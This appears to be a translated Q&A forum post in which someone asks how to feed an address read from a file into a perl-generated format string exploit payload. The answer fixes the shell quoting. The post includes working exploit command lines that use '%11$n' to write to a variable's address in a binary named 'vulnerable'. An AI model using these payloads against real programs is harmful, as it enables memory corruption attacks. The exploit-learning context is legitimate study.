Bash - perl 打印语句中的文件内容

Bash - File content in perl print statement

我正在为易受攻击的程序编写格式字符串利用脚本。

我可以通过使用以下输入执行程序来利用此漏洞:

./vulnerable `perl -e 'print "\x11\x11\x11\x40\x99\x04\x08"'`'AAAAx%11$n'

这里\x40\x99\x04\x08vulnerable中一个变量的地址。

我想编写一个脚本来生成没有硬编码地址的输入。 在我的脚本中,我检索变量的地址并将其存储在 address.txt 中。 然后我尝试像以前一样从我的脚本中调用 vulnerable,但内容为 address.txt:

./vulnerable $(perl -e 'print "\x11\x11\x11$(<address.txt)"')'AAAAx%11$n’

address.txt 的内容是 \x40\x99\x04\x08 所以我将 address.txt 的内容提供给 perl 打印语句的方式有问题。

我也试过在 perl:

周围省略 $()
./vulnerable `perl -e 'print "\x11\x11\x11$(<address.txt)"'`'AAAAx%11$n'

但这会呈现相同的结果。

我做错了什么?

单引号不展开 $(...)

./vulnerable $(perl -e 'print "\x11\x11\x11'$(<address.txt)'"')'AAAAx%11$n'
#                                           <------------->
#                      <------------------->               <->
#            <------------------------------------------------><---------->